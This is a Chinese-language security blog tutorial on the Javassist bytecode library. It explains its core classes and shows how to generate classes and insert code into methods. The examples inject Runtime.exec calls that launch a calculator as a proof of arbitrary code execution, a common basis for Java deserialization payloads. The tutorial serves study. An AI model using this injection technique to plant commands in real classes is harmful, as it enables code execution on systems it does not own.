Javassist是一个开源的分析、编辑和创建Java字节码的类库，Java 字节码存储在称为类文件的二进制文件中。每个类文件包含一个 Java 类或接口。是由东京工业大学的数学和计算机科学系的 Shigeru Chiba （千叶 滋）所创建的。其主要的优点，在于简单，而且快速。直接使用java编码的形式，而不需要了解虚拟机指令，就能动态改变类的结构，或者动态生成类。而个人感觉在安全中最重要的就是在使用Javassist时我们可以像写Java代码一样直接插入Java代码片段，让我们不再需要关注Java底层的字节码的和栈操作，仅需要学会如何使用Javassist的API即可实现字节码编辑，类似于可以达到任意代码执行的效果。

Javassist的使用

在Javassist中最为重要的是ClassPool，CtClass ，CtMethod 以及 CtField这几个类。

ClassPool：一个基于HashMap实现的CtClass对象容器，其中键是类名称，值是表示该类的CtClass对象。默认的ClassPool使用与底层JVM相同的类路径，因此在某些情况下，可能需要向ClassPool添加类路径或类字节。

CtClass：表示一个类，这些CtClass对象可以从ClassPool获得。

CtMethods：表示类中的方法。

CtFields ：表示类中的字段。

ClassPool

常用方法：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ClassPoolgetDefault()返回默认的类池。
  
ClassPathinsertClassPath(String pathname)在搜索路径的开头插入目录或jar（或zip）文件。
  
ClassPathinsertClassPath(ClassPath cp)ClassPath在搜索路径的开头插入一个对象。
  
java.lang.ClassLoadergetClassLoader()获取类加载器
  
CtClassget(java.lang.String classname)从源中读取类文件，并返回对CtClass 表示该类文件的对象的引用。
  
ClassPathappendClassPath(ClassPath cp) 将ClassPath对象附加到搜索路径的末尾。
  
CtClassmakeClass(java.lang.String classname)  创建一个新的public类

CtClass

1
2
3
4
5
6
7
8
9
10
11
12
13
voidsetSuperclass(CtClass clazz)更改超类，除非此对象表示接口。

java.lang.Class<?>toClass(java.lang.invoke.MethodHandles.Lookup lookup)
将此类转换为java.lang.Class对象。

byte[]toBytecode()将该类转换为类文件。

voidwriteFile()将由此CtClass 对象表示的类文件写入当前目录。

voidwriteFile(java.lang.String directoryName) 将由此CtClass 对象表示的类文件写入本地磁盘。

CtConstructormakeClassInitializer()制作一个空的类初始化程序（静态构造函数）。

CtMethod

1
2
3
4
5
6
7
voidinsertBefore (java.lang.String src)
在正文的开头插入字节码。
voidinsertAfter(java.lang.String src)
在正文的末尾插入字节码。
voidsetBody (CtMethod src, ClassMap map)
从另一个方法复制方法体。

CtConstructor

1
2
3
4
5
6
7
voidsetBody(java.lang.String src)
设置构造函数主体。
voidsetBody(CtConstructor src, ClassMap map)
从另一个构造函数复制一个构造函数主体。
CtMethodtoMethod(java.lang.String name, CtClass declaring)
复制此构造函数并将其转换为方法。

CtField

CtFields ：表示类中的字段。

动态生成类

大致有如下几个步骤

  1. 获取默认类池ClassPool classPool = ClassPool.getDefault();
  2. 创建一个自定义类CtClass ctClass = classPool.makeClass();
  3. 添加实现接口or属性or构造方法or普通方法

  • 添加接口

    1
    ctClass.setInterfaces(new CtClass[]{classPool.makeInterface("java.io.Serializable")});

  • 添加属性

    1
    2
    3
    4
    5
    6
    //新建一个int类型名为id的成员变量
    CtField id = new CtField(CtClass.intType, "id", ctClass);
    //将id设置为public
    id.setModifiers(AccessFlag.PUBLIC);
    //将该id属性"赋值"给ClassDemo
    ctClass.addField(id);

  • 添加构造方法(有参)

    1
    2
    3
    //添加有参构造方法
    CtConstructor ctConstructor1 = CtNewConstructor.make("public ClassDemo(int id){this.id = id;}", ctClass);
    ctClass.addConstructor(ctConstructor1);

  • 添加方法

    1
    2
    CtMethod ctMethod = CtNewMethod.make("public void calcDemo(){java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");}", ctClass);
    ctClass.addMethod(ctMethod);

  1. 写入磁盘

    这里写入磁盘可以用如下两种方法

    • javassist自带的ctClass.writeFile();可指定绝对路径写入
    • 也可转换为byte流通过FileOutputStream等写入磁盘

  2. 进行验证：调用方法or属性赋值

  3. tips：

    • 这里注意javassist.CannotCompileException异常: 因为同个 Class 是不能在同个 ClassLoader 中加载两次的，所以在输出 CtClass 的时候需要注意下,可以使用javassist自带的classloader解决此问题
    • 反射时newInstance()抛出了java.lang.InstantiationException异常可能是因为没有写无参构造
    • 如果已经加载了通过javassist生成的类，即便是通过反射(如class.forName())或者new都不是加载一个"新类"，只有换一个ClassLoader加载才会是生成一个"新类"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.sec.test2;

import javassist.*;
import javassist.bytecode.AccessFlag;

import java.io.File;
import java.io.FileOutputStream;

public class JavassistDemo01 {
    public static void main(String[] args) {

        JavassistDemo01 a = new JavassistDemo01();
        a.makeClass0();
    }

    public void makeClass0(){
        //获取默认类池
        ClassPool classPool = ClassPool.getDefault();
        //创建一个类ClassDemo
        CtClass ctClass = classPool.makeClass("com.sec.test2.ClassDemo");
        //让该类实现序列化接口
        ctClass.setInterfaces(new CtClass[]{classPool.makeInterface("java.io.Serializable")});
        try {
            //新建一个int类型名为id的成员变量
            CtField id = new CtField(CtClass.intType, "id", ctClass);
            //将id设置为public
            id.setModifiers(AccessFlag.PUBLIC);
            //将该id属性"赋值"给ClassDemo
            ctClass.addField(id);

            //添加无参构造方法
            CtConstructor ctConstructor = CtNewConstructor.make("public ClassDemo(){};", ctClass);
            ctClass.addConstructor(ctConstructor);

            //添加有参构造方法
            CtConstructor ctConstructor1 = CtNewConstructor.make("public ClassDemo(int id){this.id = id;}", ctClass);
            ctClass.addConstructor(ctConstructor1);

            //添加普通方法1
            CtMethod ctMethod = CtNewMethod.make("public void calcDemo(){java.lang.Runtime.getRuntime().exec(\"cmd.exe /c calc.exe\");}", ctClass);
            ctClass.addMethod(ctMethod);

            //添加普通方法2
            CtMethod ctMethod1 = CtNewMethod.make("public void hello(){System.out.println(\"Hello Javassist!!!\");}", ctClass);
            ctClass.addMethod(ctMethod1);

            //将class文件写入磁盘
            //转换成字节流
            byte[] bytes = ctClass.toBytecode();
            //写入磁盘
            File classPath = new File(new File(System.getProperty("user.dir"), "/src/main/java/com/sec/test2"), "ClassDemo.class");
            FileOutputStream fos = new FileOutputStream(classPath);
            fos.write(bytes);
            fos.close();

            //验证-调用方法
            //注意这里可能会抛javassist.CannotCompileException异常因为同个 Class 是不能在同个 ClassLoader 中加载两次的，所以在输出 CtClass 的时候需要注意下
            //需要通过一个未加载该class的classloader加载即可，为此javassist内置了一个classloader

            //获取javassist的classloader
            ClassLoader loader = new Loader(classPool);
            System.out.println("loading");
            //通过该classloader加载才是新的一个class
            Class<?> clazz = loader.loadClass("com.sec.test2.ClassDemo");

            //反射调用hello
            clazz.getDeclaredMethod("hello").invoke(clazz.newInstance());
            //反射调用calc
            clazz.getDeclaredMethod("calcDemo").invoke(clazz.newInstance());

        } catch (Exception e){
            System.out.println(e);
        }
    }
}

动态获取类方法

  1. 获取默认类池ClassPool classPool = ClassPool.getDefault();
  2. 获取目标类CtClass cc = cp.get();
  3. 获取类的方法CtMethod m = cc.getDeclaredMethod();
  4. 插入任意代码m.insertBefore("{java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");}");
  5. 转换为class对象Class c = cc.toClass();
  6. 反射调用对象JavassistDemo j= (JavassistDemo)c.newInstance();
  7. 执行方法j.hello();

tips：

  1. 如果目标类未加载过，可以直接调用toClass()方法之后new一个该类的对象即可调用该类。
  2. 如果目标类已加载过，就需要用上面的方法，通过javassist的ClassLoader去加载后进行调用。

参考

https://www.cnblogs.com/CoLo/p/15383642.html

]]> <meta name="referrer" content="no-referrer"/> <h3 id="动态编程"><a href="#动态编程" class="headerlink" title="动态编程"></a>动态编程</h3><p>动态编程是相对于静态编程而言的,平时我们讨论比较多的就是静态编程语言，例如Java，与动态编程语言，例如JavaScript。</p>